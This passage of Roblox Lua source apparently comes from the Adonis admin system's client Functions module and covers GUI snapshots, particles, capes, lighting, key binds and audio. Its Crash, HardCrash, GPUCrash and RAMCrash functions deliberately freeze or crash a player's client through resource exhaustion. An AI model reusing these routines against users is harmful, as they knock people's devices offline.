eColor3\";\n\t\t\t\t\"TextStrokeTransparency\";\n\t\t\t\t\"TextTransparency\";\n\t\t\t\t\"TextWrapped\";\n\t\t\t\t\"TextXAlignment\";\n\t\t\t\t\"TextYAlignment\";\n\t\t\t};\n\n\t\t\tlocal classes = {\n\t\t\t\t\"ScreenGui\";\n\t\t\t\t\"GuiMain\";\n\t\t\t\t\"Frame\";\n\t\t\t\t\"TextButton\";\n\t\t\t\t\"TextLabel\";\n\t\t\t\t\"ImageButton\";\n\t\t\t\t\"ImageLabel\";\n\t\t\t\t\"ScrollingFrame\";\n\t\t\t\t\"TextBox\";\n\t\t\t\t\"BillboardGui\";\n\t\t\t\t\"SurfaceGui\";\n\t\t\t}\n\n\t\t\tlocal guis = {\n\t\t\t\tProperties = {\n\t\t\t\t\tName = \"ViewGuis\";\n\t\t\t\t\tClassName = \"Folder\";\n\t\t\t\t};\n\t\t\t\tChildren = {};\n\t\t\t}\n\n\t\t\tlocal rLockedFound = false\n\n\t\t\tlocal add; add = function(tab,child)\n\t\t\t\tif not Anti.ObjRLocked(child) then\n\t\t\t\t\tlocal good = false\n\n\t\t\t\t\tfor i,v in next,classes do\n\t\t\t\t\t\tif child:IsA(v) then\n\t\t\t\t\t\t\tgood = true\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tif good then\n\t\t\t\t\t\tlocal new = {\n\t\t\t\t\t\t\tProperties = {};\n\t\t\t\t\t\t\tChildren = {};\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor i,v in next,props do\n\t\t\t\t\t\t\tpcall(function()\n\t\t\t\t\t\t\t\tnew.Properties[v] = child[v]\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tfor i,v in next,child:GetChildren()do\n\t\t\t\t\t\t\tadd(new,v)\n\t\t\t\t\t\tend\n\t\t\t\t\t\ttable.insert(tab.Children, new)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\trLockedFound = true\n\t\t\t\tend\n\t\t\tend\n\t\t\tfor i,v in next,service.PlayerGui:GetChildren()do\n\t\t\t\tpcall(add,guis,v)\n\t\t\tend\n\t\t\treturn guis\n\t\tend;\n\n\t\tLoadGuiData = function(data)\n\t\t\tlocal make; make = function(dat)\n\t\t\t\tlocal props = dat.Properties\n\t\t\t\tlocal children = dat.Children\n\t\t\t\tlocal gui = service.New(props.ClassName)\n\n\t\t\t\tfor i,v in next,props do\n\t\t\t\t\tpcall(function() \n\t\t\t\t\t\tgui[i] = v\n\t\t\t\t\tend)\n\t\t\t\tend\n\n\t\t\t\tfor i,v in next,children do\n\t\t\t\t\tpcall(function()\n\t\t\t\t\t\tlocal g = make(v)\n\t\t\t\t\t\tif g then\n\t\t\t\t\t\t\tg.Parent = gui\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\treturn gui\n\t\t\tend\n\n\t\t\tlocal temp = Instance.new(\"Folder\")\n\t\t\tfor i,v in next,service.PlayerGui:GetChildren()do\n\t\t\t\tif not UI.Get(v) then\n\t\t\t\t\tv.Parent = temp\n\t\t\t\tend\n\t\t\tend\n\t\t\tVariables.GuiViewFolder = temp\n\t\t\tlocal folder = service.New(\"Folder\",{Parent = service.PlayerGui; Name = \"LoadedGuis\"})\n\t\t\tfor i,v in next,data.Children do\n\t\t\t\tpcall(function()\n\t\t\t\t\tlocal g = make(v)\n\t\t\t\t\tif g then\n\t\t\t\t\t\tg.Parent = folder\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\tend;\n\n\t\tUnLoadGuiData = function()\n\t\t\tfor i,v in next,service.PlayerGui:GetChildren()do\n\t\t\t\tif v.Name == \"LoadedGuis\" then\n\t\t\t\t\tv:Destroy()\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif Variables.GuiViewFolder then\n\t\t\t\tfor i,v in next,Variables.GuiViewFolder:GetChildren()do\n\t\t\t\t\tv.Parent = service.PlayerGui\n\t\t\t\tend\n\t\t\t\tVariables.GuiViewFolder:Destroy()\n\t\t\t\tVariables.GuiViewFolder = nil\n\t\t\tend\n\t\tend;\n\n\t\tGetParticleContainer = function(target)\n\t\t\tif target then\n\t\t\t\tfor i,v in next,service.LocalContainer():GetChildren()do\n\t\t\t\t\tif v.Name == target:GetFullName()..\"PARTICLES\" then\n\t\t\t\t\t\tlocal obj = v:FindFirstChild(\"_OBJECT\")\n\t\t\t\t\t\tif obj.Value == target then\n\t\t\t\t\t\t\treturn v\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tNewParticle = function(target, class, properties)\n\t\t\tlocal effect, index;\n\n\t\t\tproperties.Parent = target;\n\t\t\tproperties.Enabled = Variables.ParticlesEnabled;\n\n\t\t\teffect = service.New(class, properties);\n\t\t\tindex = Functions.GetRandom();\n\n\t\t\tVariables.Particles[index] = effect;\n\n\t\t\ttable.insert(Variables.Particles, effect);\n\n\t\t\teffect.Changed:Connect(function()\n\t\t\t\tif not effect or not effect.Parent or effect.Parent ~= target then\n\t\t\t\t\tpcall(function() effect:Destroy() end)\n\t\t\t\t\tVariables.Particles[index] = nil;\n\t\t\t\tend\n\t\t\tend)\n\t\tend;\n\n\t\tRemoveParticle = function(target, name)\n\t\t\tfor i,effect in next,Variables.Particles do\n\t\t\t\tif effect.Parent == target and effect.Name == name then\n\t\t\t\t\teffect:Destroy();\n\t\t\t\t\tVariables.Particles[i] = nil;\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tEnableParticles = function(enabled)\n\t\t\tfor i,effect in next,Variables.Particles do\n\t\t\t\tif enabled then\n\t\t\t\t\teffect.Enabled = true\n\t\t\t\telse\n\t\t\t\t\teffect.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tNewLocal = function(class, props, parent)\n\t\t\tlocal obj = service.New(class)\n\t\t\tfor prop,value in next,props do\n\t\t\t\tobj[prop] = value\n\t\t\tend\n\n\t\t\tif not parent or parent == \"LocalContainer\" then\n\t\t\t\tobj.Parent = service.LocalContainer()\n\t\t\telseif parent == \"Camera\" then\n\t\t\t\tobj.Parent = service.Workspace.CurrentCamera\n\t\t\telseif parent == \"PlayerGui\" then\n\t\t\t\tobj.Parent = service.PlayerGui\n\t\t\tend\n\t\tend;\n\n\t\tMakeLocal = function(object,parent,clone)\n\t\t\tif object then\n\t\t\t\tlocal object = object\n\t\t\t\tif clone then object = object:Clone() end\n\t\t\t\tif not parent or parent == \"LocalContainer\" then\n\t\t\t\t\tobject.Parent = service.LocalContainer()\n\t\t\t\telseif parent == \"Camera\" then\n\t\t\t\t\tobject.Parent = service.Workspace.CurrentCamera\n\t\t\t\telseif parent == \"PlayerGui\" then\n\t\t\t\t\tobject.Parent = service.PlayerGui\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tMoveLocal = function(object,parent,newParent)\n\t\t\tlocal par\n\t\t\tif not parent or parent == \"LocalContainer\" then\n\t\t\t\tpar = service.LocalContainer()\n\t\t\telseif parent == \"Camera\" then\n\t\t\t\tpar = service.Workspace.CurrentCamera\n\t\t\telseif parent == \"PlayerGui\" then\n\t\t\t\tpar = service.PlayerGui\n\t\t\tend\n\t\t\tfor ind,obj in next,par:GetChildren()do\n\t\t\t\tif obj.Name == object or obj == obj then\n\t\t\t\t\tobj.Parent = newParent\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tRemoveLocal = function(object,parent,match)\n\t\t\tlocal par\n\t\t\tif not parent or parent == \"LocalContainer\" then\n\t\t\t\tpar = service.LocalContainer()\n\t\t\telseif parent == \"Camera\" then\n\t\t\t\tpar = service.Workspace.CurrentCamera\n\t\t\telseif parent == \"PlayerGui\" then\n\t\t\t\tpar = service.PlayerGui\n\t\t\tend\n\n\t\t\tfor ind,obj in next,par:GetChildren() do\n\t\t\t\tif (match and string.match(obj.Name,object)) or (obj.Name == object or object == obj) then\n\t\t\t\t\tobj:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tNewCape = function(data)\n\t\t\tlocal char = data.Parent\n\t\t\tlocal material = data.Material or \"Neon\"\n\t\t\tlocal color = data.Color or \"White\"\n\t\t\tlocal reflect = data.Reflectance or 0\n\t\t\tlocal decal = tonumber(data.Decal or \"\")\n\t\t\tif char then\n\t\t\t\tFunctions.RemoveCape(char)\n\t\t\t\tlocal torso = char:FindFirstChild(\"Torso\") or char:FindFirstChild(\"UpperTorso\") or char:FindFirstChild(\"HumanoidRootPart\")\n\t\t\t\tlocal isR15 = (torso.Name == \"UpperTorso\")\n\t\t\t\tif torso then\n\t\t\t\t\tlocal p = service.New(\"Part\")\n\t\t\t\t\tp.Name = \"ADONIS_CAPE\" \n\t\t\t\t\tp.Anchored = false\n\t\t\t\t\tp.Position = torso.Position\n\t\t\t\t\tp.Transparency = 0\n\t\t\t\t\tp.Material = material\n\t\t\t\t\tp.CanCollide = false\n\t\t\t\t\tp.TopSurface = 0 \n\t\t\t\t\tp.BottomSurface = 0\n\t\t\t\t\tp.Size = Vector3.new(2,4,0.1)\n\t\t\t\t\tp.BrickColor = BrickColor.new(color) or BrickColor.new(\"White\")\n\t\t\t\t\tp.Parent = service.LocalContainer()\n\n\t\t\t\t\tif reflect then\n\t\t\t\t\t\tp.Reflectance = reflect\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal motor1 = service.New(\"Motor\", p)\n\t\t\t\t\tmotor1.Part0 = p\n\t\t\t\t\tmotor1.Part1 = torso\n\t\t\t\t\tmotor1.MaxVelocity = .01\n\t\t\t\t\tmotor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)\n\t\t\t\t\tmotor1.C1 = CFrame.new(0,1-((isR15 and 0.2) or 0),(torso.Size.Z/2))*CFrame.Angles(0,math.rad(90),0)\n\n\t\t\t\t\tlocal msh = service.New(\"BlockMesh\", p) \n\t\t\t\t\tmsh.Scale = Vector3.new(0.9,0.87,0.1)\n\n\t\t\t\t\tlocal dec \n\t\t\t\t\tif decal and decal ~= 0 then\n\t\t\t\t\t\tdec = service.New(\"Decal\", p) \n\t\t\t\t\t\tdec.Name = \"Decal\"\n\t\t\t\t\t\tdec.Face = 2 \n\t\t\t\t\t\tdec.Texture = \"http://www.roblox.com/asset/?id=\"..decal \n\t\t\t\t\t\tdec.Transparency = 0 \n\t\t\t\t\tend\n\n\t\t\t\t\tlocal index = Functions.GetRandom()\n\t\t\t\t\tVariables.Capes[index] = {\n\t\t\t\t\t\tPart = p;\n\t\t\t\t\t\tMotor = motor1;\n\t\t\t\t\t\tEnabled = true;\n\t\t\t\t\t\tParent = data.Parent;\n\t\t\t\t\t\tTorso = torso;\n\t\t\t\t\t\tDecal = dec;\n\t\t\t\t\t\tData = data;\n\t\t\t\t\t\tWave = true;\n\t\t\t\t\t\tisR15 = isR15;\n\t\t\t\t\t}\n\n\t\t\t\t\tlocal p = service.Players:GetPlayerFromCharacter(data.Parent)\n\t\t\t\t\tif p and p == service.Player then\n\t\t\t\t\t\tVariables.Capes[index].isPlayer = true\n\t\t\t\t\tend\n\n\t\t\t\t\tif not Variables.CapesEnabled then\n\t\t\t\t\t\tp.Transparency = 1\n\t\t\t\t\t\tif dec then\n\t\t\t\t\t\t\tdec.Transparency = 1\n\t\t\t\t\t\tend\n\t\t\t\t\t\tVariables.Capes[index].Enabled = false\n\t\t\t\t\tend\n\n\t\t\t\t\tFunctions.MoveCapes()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\tRemoveCape = function(parent)\n\t\t\tfor i,v in next,Variables.Capes do\n\t\t\t\tif v.Parent == parent or not v.Parent or not v.Parent.Parent then\n\t\t\t\t\tpcall(v.Part.Destroy,v.Part)\n\t\t\t\t\tVariables.Capes[i] = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\tHideCapes = function(hide)\n\t\t\tfor i,v in next,Variables.Capes do\n\t\t\t\tlocal torso = v.Torso\n\t\t\t\tlocal parent = v.Parent\n\t\t\t\tlocal part = v.Part\n\t\t\t\tlocal motor = v.Motor\n\t\t\t\tlocal wave = v.Wave\n\t\t\t\tlocal decal = v.Decal\n\n\t\t\t\tif parent and parent.Parent and torso and torso.Parent and part and part.Parent then\n\t\t\t\t\tif not hide then\n\t\t\t\t\t\tpart.Transparency = 0\n\n\t\t\t\t\t\tif decal then\n\t\t\t\t\t\t\tdecal.Transparency = 0\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tv.Enabled = true\n\t\t\t\t\telse\n\t\t\t\t\t\tpart.Transparency = 1\n\t\t\t\t\t\tif decal then\n\t\t\t\t\t\t\tdecal.Transparency = 1\n\t\t\t\t\t\tend\n\t\t\t\t\t\tv.Enabled = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tpcall(part.Destroy,part)\n\t\t\t\t\tVariables.Capes[i] = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tMoveCapes = function()\n\t\t\tservice.StopLoop(\"CapeMover\")\n\t\t\tservice.StartLoop(\"CapeMover\",0.1,function()\n\t\t\t\tif Functions.CountTable(Variables.Capes) == 0 or not Variables.CapesEnabled then\n\t\t\t\t\tservice.StopLoop(\"CapeMover\")\n\t\t\t\telse\n\t\t\t\t\tfor i,v in next,Variables.Capes do\n\t\t\t\t\t\tlocal torso = v.Torso\n\t\t\t\t\t\tlocal parent = v.Parent\n\t\t\t\t\t\tlocal isPlayer = v.isPlayer\n\t\t\t\t\t\tlocal isR15 = v.isR15\n\t\t\t\t\t\tlocal part = v.Part\n\t\t\t\t\t\tlocal motor = v.Motor\n\t\t\t\t\t\tlocal wave = v.Wave\n\t\t\t\t\t\tlocal decal = v.Decal\n\n\t\t\t\t\t\tif parent and parent.Parent and torso and torso.Parent and part and part.Parent then\n\t\t\t\t\t\t\tif v.Enabled and Variables.CapesEnabled then\n\t\t\t\t\t\t\t\tpart.Transparency = 0\n\n\t\t\t\t\t\t\t\tif decal then\n\t\t\t\t\t\t\t\t\tdecal.Transparency = 0\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\tlocal ang = 0.1\n\t\t\t\t\t\t\t\tif wave then \n\t\t\t\t\t\t\t\t\tif torso.Velocity.magnitude > 1 then\n\t\t\t\t\t\t\t\t\t\tang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 \n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tv.Wave = false \n\t\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t\t\tv.Wave = true \n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tang = ang + math.min(torso.Velocity.magnitude/11, .8)\n\t\t\t\t\t\t\t\tmotor.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + 0.002\n\t\t\t\t\t\t\t\tif isPlayer then\n\t\t\t\t\t\t\t\t\tmotor.DesiredAngle = -ang\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tmotor.CurrentAngle = -ang -- bugs\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tif motor.CurrentAngle < -.2 and motor.DesiredAngle > -.2 then \n\t\t\t\t\t\t\t\t\tmotor.MaxVelocity = .04 \n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tpart.Transparency = 1\n\t\t\t\t\t\t\t\tif decal then\n\t\t\t\t\t\t\t\t\tdecal.Transparency = 1\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tpcall(part.Destroy,part)\n\t\t\t\t\t\t\tVariables.Capes[i] = nil\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend, true)\n\t\tend;\n\n\t\tCountTable = function(tab)\n\t\t\tlocal count = 0\n\t\t\tfor i,v in next,tab do\n\t\t\t\tcount = count+1\n\t\t\tend\n\t\t\treturn count\n\t\tend;\n\n\t\tClearAllInstances = function()\n\t\t\tlocal objects = service.GetAdonisObjects()\n\t\t\tfor i in next,objects do\n\t\t\t\ti:Destroy()\n\t\t\t\tobjects[i] = nil\n\t\t\tend\n\t\tend;\n\n\t\tPlayAnimation = function(animId)\n\t\t\tif animId == 0 then return end\n\n\t\t\tlocal char = service.Player.Character\n\t\t\tlocal human = char:FindFirstChildOfClass(\"Humanoid\")\n\t\t\tlocal animator = human:FindFirstChildOfClass(\"Animator\") or human:WaitForChild(\"Animator\")\n\n\t\t\tfor i,v in pairs(animator:GetPlayingAnimationTracks()) do\n\t\t\t\tv:Stop()\n\t\t\tend\n\t\t\tlocal anim = service.New('Animation')\n\t\t\tanim.AnimationId = 'rbxassetid://'..animId\n\t\t\tanim.Name = \"ADONIS_Animation\"\n\t\t\tlocal track = animator:LoadAnimation(anim)\n\t\t\ttrack:Play()\n\t\tend;\n\n\t\tSetLighting = function(prop,value)\n\t\t\tif service.Lighting[prop]~=nil then\n\t\t\t\tservice.Lighting[prop] = value\n\t\t\t\tVariables.LightingSettings[prop] = value\n\t\t\tend\n\t\tend;\n\n\t\tLocalLighting = function(on)\n\t\t\tif on then\n\t\t\t\tservice.StartLoop(\"LocalLighting\",\"RenderStepped\",function()\n\t\t\t\t\tfor prop,value in next,Variables.LightingSettings do\n\t\t\t\t\t\tif service.Lighting[prop]~=nil then\n\t\t\t\t\t\t\tservice.Lighting[prop] = value\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\telse\n\t\t\t\tservice.StopLoop(\"LocalLighting\")\n\t\t\tend\n\t\tend;\n\n\t\tChatMessage = function(msg,color,font,size)\n\t\t\tlocal tab = {}\n\n\t\t\ttab.Text = msg\n\n\t\t\tif color then\n\t\t\t\ttab.Color = color\n\t\t\tend\n\n\t\t\tif font then\n\t\t\t\ttab.Font = font\n\t\t\tend\n\n\t\t\tif size then\n\t\t\t\ttab.Size = size\n\t\t\tend\n\n\t\t\tservice.StarterGui:SetCore(\"ChatMakeSystemMessage\",tab)\n\n\t\t\tif Functions.SendToChat then\n\t\t\t\tFunctions.SendToChat({Name = \"::Adonis::\"},msg,\"Private\")\n\t\t\tend\n\t\tend;\n\n\t\tSetCamProperty = function(prop,value)\n\t\t\tlocal cam = workspace.CurrentCamera\n\t\t\tif cam[prop] then\n\t\t\t\tcam[prop] = value\n\t\t\tend\n\t\tend;\n\n\t\tSetFPS = function(fps)\n\t\t\tservice.StopLoop(\"SetFPS\")\n\t\t\tlocal fps = tonumber(fps)\n\t\t\tif fps then\n\t\t\t\tservice.StartLoop(\"SetFPS\",0.1,function() \n\t\t\t\t\tlocal ender = tick()+1/fps\n\t\t\t\t\trepeat until tick()>=ender\n\t\t\t\tend)\n\t\t\tend\n\t\tend;\n\n\t\tRestoreFPS = function()\n\t\t\tservice.StopLoop(\"SetFPS\")\n\t\tend;\n\n\t\tCrash = function()\n\t\t\t--[[\n\t\t\tlocal load = function(f) return f() end \n\t\t\tlocal s = string.rep(\"\\n\", 2^24) \n\t\t\tprint(load(function() return s end))--]]\n\t\t\t--print(string.find(string.rep(\"a\", 2^20), string.rep(\".?\", 2^20)))\n\t\t\t--[[while true do\n\t\t\t\tspawn(function()\n\t\t\t\t\tspawn(function()\n\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint(\"Triangles.\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\tend)\n\t\t\t\t\tend)\n\t\t\t\tend)\n\t\t\tend--]]\n\n\t\t\tlocal Run = service.RunService;\n\t\t\tlocal Lol = 0;\n\n\t\t\tlocal Thread; function Thread()\n\t\t\t\tRun:BindToRenderStep(tostring(Lol), 100, function() print\"Stopping\"; Thread(); end);\n\t\t\t\tLol = Lol + 1;\n\t\t\tend;\n\n\t\t\tThread();\n\t\t\t--local crash; crash = function() while true do repeat spawn(function() pcall(function() print(game[(\"%s|\"):rep(100000)]) crash() end) end) until nil end end\n\t\t\t--crash()\n\t\tend;\n\n\t\tHardCrash = function()\n\t\t\tlocal crash\n\t\t\tlocal tab\n\t\t\tlocal gui = service.New(\"ScreenGui\",service.PlayerGui)\n\t\t\tlocal rem = service.New(\"RemoteEvent\",workspace.CurrentCamera)\n\t\t\tcrash = function()\n\t\t\t\tfor i=1,50 do\n\t\t\t\t\tservice.Debris:AddItem(service.New(\"Part\",workspace.CurrentCamera),2^4000)\n\t\t\t\t\tprint(\"((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)\")\n\t\t\t\t\tlocal f = service.New('Frame',gui)\n\t\t\t\t\tf.Size = UDim2.new(1,0,1,0)\n\t\t\t\t\tspawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)\t\n\t\t\t\t\trem:FireServer(\"Hiiiiiiiiiiiiiiii\")\t\n\t\t\t\t\tspawn(function()\n\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\tprint(\"hi\")\n\t\t\t\t\t\t\t\t\t\tspawn(crash)\n\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\tend)\n\t\t\t\t\tend)\n\t\t\t\t\t--print(game[(\"%s|\"):rep(0xFFFFFFF)])\n\t\t\t\tend\n\t\t\t\ttab = {}\n\t\t\tend\n\t\t\twhile wait(0.01) do\n\t\t\t\tfor i = 1,50000000 do\n\t\t\t\t\tcPcall(function() client.GPUCrash() end)\n\t\t\t\t\tcPcall(function() crash() end)\n\t\t\t\t\tprint(1)\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tGPUCrash = function()\n\t\t\tlocal crash\n\t\t\tlocal gui = service.New(\"ScreenGui\",service.PlayerGui)\n\t\t\tcrash = function()\n\t\t\t\twhile wait(0.01) do\n\t\t\t\t\tfor i = 1,500000 do\n\t\t\t\t\t\tlocal f = service.New('Frame',gui)\n\t\t\t\t\t\tf.Size = UDim2.new(1,0,1,0)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tcrash()\n\t\tend;\n\n\t\tRAMCrash = function()\n\t\t\twhile wait(0.1) do\n\t\t\t\tfor i = 1,10000 do\n\t\t\t\t\tservice.Debris:AddItem(service.New(\"Part\",workspace.CurrentCamera),2^4000)\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tKillClient = function()\n\t\t\tclient.Kill(\"KillClient called\")\n\t\tend;\n\n\t\tKeyBindListener = function()\n\t\t\tif not Variables then wait() end;\n\t\t\tlocal timer = 0\n\t\t\tVariables.KeyBinds = Remote.Get(\"PlayerData\").Keybinds or {}\n\n\t\t\tservice.UserInputService.InputBegan:Connect(function(input)\n\t\t\t\tlocal key = tostring(input.KeyCode.Value)\n\t\t\t\tlocal textbox = service.UserInputService:GetFocusedTextBox()\n\n\t\t\t\tif Variables.KeybindsEnabled and not (textbox) and key and Variables.KeyBinds[key] and not Variables.WaitingForBind then \n\t\t\t\t\tlocal isAdmin = Remote.Get(\"CheckAdmin\")\n\t\t\t\t\tif (tick() - timer > 5 or isAdmin) and pcall(string.char, key) then\n\t\t\t\t\t\tRemote.Send('ProcessCommand',Variables.KeyBinds[key],false,true)\n\t\t\t\t\t\tUI.Make(\"Hint\",{\n\t\t\t\t\t\t\tMessage = \"[Ran] Key: \"..string.char(key)..\" | Command: \"..tostring(Variables.KeyBinds[key])\n\t\t\t\t\t\t})\n\t\t\t\t\tend\n\t\t\t\t\ttimer = tick()\n\t\t\t\tend\n\t\t\tend)\n\t\tend;\n\n\t\tAddKeyBind = function(key, command)\n\t\t\tVariables.KeyBinds[tostring(key)] = command\n\t\t\tRemote.Get(\"UpdateKeybinds\",Variables.KeyBinds)\n\t\t\tUI.Make(\"Hint\",{\n\t\t\t\tMessage = 'Bound \"'..string.char(key)..'\" to '..command\n\t\t\t})\n\t\tend;\n\n\t\tRemoveKeyBind = function(key)\n\t\t\tif Variables.KeyBinds[tostring(key)] ~= nil then\n\t\t\t\tVariables.KeyBinds[tostring(key)] = nil\n\t\t\t\tRemote.Get(\"UpdateKeybinds\",Variables.KeyBinds)\n\t\t\t\tRoutine(function()\n\t\t\t\t\tUI.Make(\"Hint\",{\n\t\t\t\t\t\tMessage = 'Removed \"'..string.char(key)..'\" from key binds'\n\t\t\t\t\t})\n\t\t\t\tend)\n\t\t\tend\n\t\tend;\n\n\t\tBrickBlur = function(on,trans,color)\n\t\t\tlocal exists = service.LocalContainer():FindFirstChild(\"ADONIS_WINDOW_FUNC_BLUR\")\n\t\t\tif exists then exists:Destroy() end\n\t\t\tif on then\n\t\t\t\tlocal pa = Instance.new(\"Part\",workspace.CurrentCamera)\n\t\t\t\tpa.Name = \"ADONIS_WINDOW_FUNC_BLUR\"\n\t\t\t\tpa.Material = \"Neon\"\n\t\t\t\tpa.BrickColor = color or BrickColor.Black()\n\t\t\t\tpa.Transparency = trans or 0.5\n\t\t\t\tpa.CanCollide = false\n\t\t\t\tpa.Anchored = true\n\t\t\t\tpa.FormFactor = \"Custom\"\n\t\t\t\tpa.Size=Vector3.new(100,100,0)\n\t\t\t\twhile pa and pa.Parent and wait(1/40) do\n\t\t\t\t\tpa.CFrame = workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-2.5)*CFrame.Angles(12.6,0,0)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tfor i,v in next,workspace.CurrentCamera:GetChildren()do\n\t\t\t\t\tif v.Name == \"ADONIS_WINDOW_FUNC_BLUR\" then\n\t\t\t\t\t\tv:Destroy() \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tPlayAudio = function(audioId, volume, pitch, looped)\n\t\t\tif Variables.localSounds[tostring(audioId)] then Variables.localSounds[tostring(audioId)]:Stop() Variables.localSounds[tostring(audioId)]:Destroy() Variables.localSounds[tostring(audioId)]=nil end\n\t\t\tlocal sound = service.New(\"Sound\")\n\t\t\tsound.SoundId = \"rbxassetid://\"..audioId\n\t\t\tif looped then sound.Looped = true end\n\t\t\tif volume then sound.Volume = volume end\n\t\t\tif pitch then sound.Pitch = pitch end\n\t\t\tsound.Name = \"ADONI_LOCAL_SOUND \"..audioId\n\t\t\tsound.Parent = service.LocalContainer()\t\n\t\t\tVariables.localSounds[tostring(audioId)] = sound\n\t\t\tsound:Play()\n\t\t\twait(1)\n\t\t\trepeat wait(0.1) until not sound.IsPlaying\n\t\t\tsound:Destroy()\n\t\t\tVariables.localSounds[tostring(audioId)] = nil\n\t\tend;\n\n\t\tStopAudio = function(audioId)\n\t\t\tif Variables.localSounds[tostring(audioId)] then \n\t\t\t\tVariables.localSounds[tostring(audioId)]:Stop() \n\t\t\t\tVariables.localSounds[tostring(audioId)]:Destroy() \n\t\t\t\tVariables.localSounds[tostring(audioId)] = nil \n\t\t\tend\n\t\tend;\n\n\t\tFadeAudio = function(audioId,inVol,pitch,looped,incWait)\n\t\t\tif not inVol then\n\t\t\t\tlocal sound = Variables.localSounds[tostring(audioId)]\n\t\t\t\tif sound then\n\t\t\t\t\tfor i = sound.Volume,0,-0.01 do\n\t\t\t\t\t\tsound.Volume = i\n\t\t\t\t\t\twait(incWait or 0.1)\n\t\t\t\t\tend\n\t\t\t\t\tFunctions.StopAudio(audioId)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tFunctions.StopAudio(audioId)\n\t\t\t\tFunctions.PlayAudio(audioId,0,pitch,looped)\n\t\t\t\tlocal sound = Variables.localSounds[tostring(audioId)]\n\t\t\t\tif sound 